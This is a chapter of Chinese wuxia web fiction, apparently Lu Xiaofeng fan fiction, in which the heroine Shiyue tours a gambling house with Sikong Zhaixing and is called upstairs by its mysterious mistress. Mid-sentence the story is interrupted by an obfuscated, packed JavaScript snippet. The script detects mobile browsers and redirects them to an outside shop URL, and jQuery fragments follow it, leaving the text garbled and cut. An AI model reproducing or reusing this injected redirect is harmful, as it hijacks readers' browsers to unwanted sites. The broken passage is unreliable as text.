①极乐楼中有极乐
静谧,狭窄的地方,进入一场黑甜的梦中梦再正常不过。
摇摇晃晃的床,四平八稳的心跳声,催着她闭上眼睛。
等她再睁开眼睛时,眼前果不其然又换了一个场景。
层台累榭,灯火通明。
雕梁画栋,富丽堂皇。
要说方才小家碧玉一般的江南楼阁,是买票才能进去的保护景点,这里像是商业化严重的网红打卡商业街。
美得很热闹,富贵得很明显,但也绝对没办法说出它不好看几个字来。
挺好。
她点点头,抬脚就往里走。
比起人山人海,动辄踩到别人鞋子的热门旅游景点,还是做梦好。
司空摘星原本还在绞劲脑汁,思考如何劝十月进去的说辞,转眼看她毫不犹豫地,抬脚就往里走,心下一惊。
“等等我。”他追上去,吊儿郎当的神色,难得正色了几分,“你第一次进来,先跟紧我,这儿鱼龙混杂,好东西不少,但好人可不多。”
十月停下来,很疑惑地看着他,“你怎么还在这里?”
都转场了,怎么他还在。
司空摘星愣了下,有些无辜,茫道:“我不该在么。”
两相对视。
十月先收回视线,自言自语道:“固定NPC,好吧。”
司空摘星没听懂,也没敢问,只寸步不离地跟上去。
看着面前顾盼神飞,步履随意从容,像是在自家后院散步般的十月,有一瞬间,他不由得自我怀疑起来,方才那个抱着树死活不肯松手的十月,莫非是他错觉?
走到近前。
几个身型壮硕的大汉先拦住了路。
迎面的一个,笑意盈盈,语气却带着不容置疑的强硬:
“还请两位带上这面具。”
司空摘星正要解释,这就是这里的规矩,而且这面具也不丑……一堆话塞在嗓子眼里,还没等说出口,就看见十月非常自然的,从对面那人手里接过面具,熟练地给自己带上了。
还分外手巧地把面具带子在脑后打了个蝴蝶结,一晃一晃的,很可爱。
司空摘星看了一眼,没忍住又看了一眼,心道,好乖,不,好怪,她怎么忽然这么好说话,好脾气起来。
三层楼。
三层赌场。
好吵。
每个人都面红耳赤,喘着粗气,在赌桌上红了眼,豁出性命,“我赌上我这条手!”
“不要不要,你的手一文不值。”
“那我赌上这颗脑袋!”
“这倒有点意思。”
司空摘星克制着上桌压注的欲望,硬生生跟着十月在整个赌场晃悠了一圈,见她脸上神色依旧兴致缺缺,不免心下忐忑,打肿脸充胖子道:“这层楼都是最普通的赌局,无非赌些金银财宝,钱财性命,你要是不感兴趣,那我们上去看看。”
十月扭过头来,看着他恍然道:“原来你是赌狗。”
“你有听过一句话吗?”
听她说完前半句,司空摘星已经牙酸了,直觉她不会说什么好话,但他还是好奇倾耳道:“什么?”
她清润的嗓音一字一句道:“赌狗一时爽,爹妈火葬场。”
司空摘星立刻去捂她的嘴,低声道:“这话骂我就行了,您收着点吧,到时候咱俩都都折里。”
他们光看不赌的行为,已经引起了一些人的注意。
十月这话说完,果然又有几道目光落了下来。
但大部分人仍旧沉默赌桌,无暇分心。
搬了石头砸自己的脚的悔恨愈烈。
司空摘星不由得问道:“十月你不喜欢赌钱?那你喜欢什么,想要玩什么。”
显然,他还没有死心。
可惜,他的执着没起到什么作用。
十月嗯嗯两声,心道,那可太多了,先一夜暴富,买完所有打折游戏,全部玩通关,再想想中午吃什么。
目前的话,她拍拍司空摘星的肩膀,信口道:“先刷满花满楼好感度,和他结婚,第二个再娶莱欧利特。”
司空摘星越听越不对劲,脸上神情越来越古怪。
他忍不住道:“这件事,花满楼他自己知道吗?”
十月没搭理他,自顾自往前走了。
司空摘星眉头紧得能夹死一只苍蝇,半天都没思考出来,这里面的因果关系,只能暂时归结于,一定是十月在同自己开玩笑。
他吐出一口气,回过神,发现十月已经走出好远,连忙追上。
然后就看见她径直上了二楼,守在通道的守卫,仿佛死人,瞎子般,半点没有要去拦的意思。
司空摘星暗道不妙,连忙冲上去,试图挤到十月身边,把人带回来,虽然他吹牛说要带十月上二楼长长见识,但自己有几斤几两,他还是清楚的,十月没答应,他反倒还暗暗松了口气。
谁知道上面有什么江湖老怪物,真遇到几个不讲理的,他可打不过。
才冲到楼道,两把长刀就挡住了他的路。
“有邀请函吗?没有就滚!”
彪形大汉形色怒张,很有给人当看门狗的气质,色厉内荏,不是好茬子。
司空摘星连忙道:“那是我朋友,她走错了,我就是把她叫回来。”
那大汉斜睨他一眼,沉声道:“她没走错,我们极乐坊的主人要见她。没有邀请函就快滚,否则,休怪爷爷手上刀剑不长眼。”
司空摘星悻悻然退了回去。
他状似不经意扫了两眼楼上,楼梯回旋,十月的身影很快消失。
他心里紧张,面上却半分没有表露出来,嘿嘿一笑,道:“行,我在下面等她出来就是了。”
十月的本事,不会有事。
但他要是带不回她,事情就大头了。
悄声没入人群,司空摘星两三步就从一楼大厅消失得一干二净。
*
“你就是十月?”
二楼很空旷,只有一台赌桌,一个女人。
开口说话的也是这个女人。
她长得极美貌,像是从画里走出来的古韵美人,一颦一笑,都极动人。
任谁都不会舍得不理她。
十月在想,外面这么富丽堂皇,里面居然这么简陋,只有一个人。
果然是自己没见过市面,做梦都梦不到大的。
见十月没说话,她也不在意,笑着道:“或许你不知道,这江湖上,有很多人,都很想见见你。”能一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300877|195303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己之力,让江湖上最有名的一对少侠,消失得无影无踪,心甘情愿,这样一个女子,是谁都会很好奇,很想见一见她的。
尤其,这个人,又被藏得极好,几乎无人见过她的真容。
十月自顾自绕着桌子走了一圈,像是根本没有注意到这里还有一个人。
这美人的脾气显然很好,又或者早就预料到,十月的脾气古怪,所以脸上依旧带着笑容,半分未变,只用一双秋水朦胧的双眼审视地打量她。
想到方才属下传回来的那句话,她微微一笑,好奇问道:“你既然已打算同花满楼成亲,那陆小凤呢?他为什么会心甘情愿也同你隐退江湖。再过些时日,恐怕江湖上的新人,就要不记得这个名字了,岂不可惜。”
陆小凤:每天两眼一睁就是干活,忙得快出殡,哪有空出山。
十月终于开口了,她像是终于研究完了那张桌子,抬头道:“两个人要怎么赌,投骰子猜大小吗?”
她说着,忽然从袖子里,掏出来一把骰子。
刚刚从地上捡的。
无艳第一次见到这样的人。
只说自己想说的话,只看见自己想看见的东西。
像是一拳打进棉花里,她方才的无数试探,都落了空。
*
另一边,司空摘星又一次潜入失败,脸色难看,背后冷汗直冒。
极乐楼不会永远开着。
天黑天亮,都会开始清人。
但直到现在,十月还没出来。
司空摘星心虚道,光凭他自己,现在是肯定没办法把十月带回去了。
抓抓脑袋,他认命道,这下肯定要被陆小鸡嘲笑死了。
马不停蹄回到百花楼。
总算有一件好事发生,陆小凤还在!
他连忙冲过去,还没开口,脸上重重一痛。
陆小凤一把拽住司空摘星的衣领,迎面一拳落下,压着火气道:“十月呢?你把她带到哪里去了?”
司空摘星忍不住摸了摸火辣辣的嘴角,心想,他干嘛一副被抢了老婆的模样。
心里吐槽两句,他嘴上却不敢耽搁:“我发誓,我绝对没带她去乱七八糟的地方,就是,出了一点意外。这我也不想的……”
陆小凤忍无可忍,“带路。”
司空摘星松了口气,道:“极乐坊今天已经关门了,再去得等到晚上。还有,不叫上花满楼吗?”
说到花满楼,他去哪里了?
听到花满楼的名字,陆小凤微不可察地蹙了下眉,状若无异地继续问道:“极乐坊?你们怎么会去那里?究竟发生了什么,怎么就你一个人回来了?”
几个问题砸下来,司空摘星越发心虚,嗫嚅道:“我就是想带十月见见世面,老待在家里有什么意思。好吧,好吧,你别瞪我了,就是极乐坊的主人忽然把她带走了,我也什么都不知道,我想,十月肯定会没事的吧。”
司空摘星连忙又道:“我看我们还是先等等花满楼吧。十月的性子我是实在把握不住,万一极乐坊主人其实只是想留她见一面,说说话,她自己不想走呢?还是带上花满楼保险些。”
迎着陆小凤越来越冷的目光,他硬着头皮道:“毕竟你也知道,十月确实最喜欢花满楼嘛。”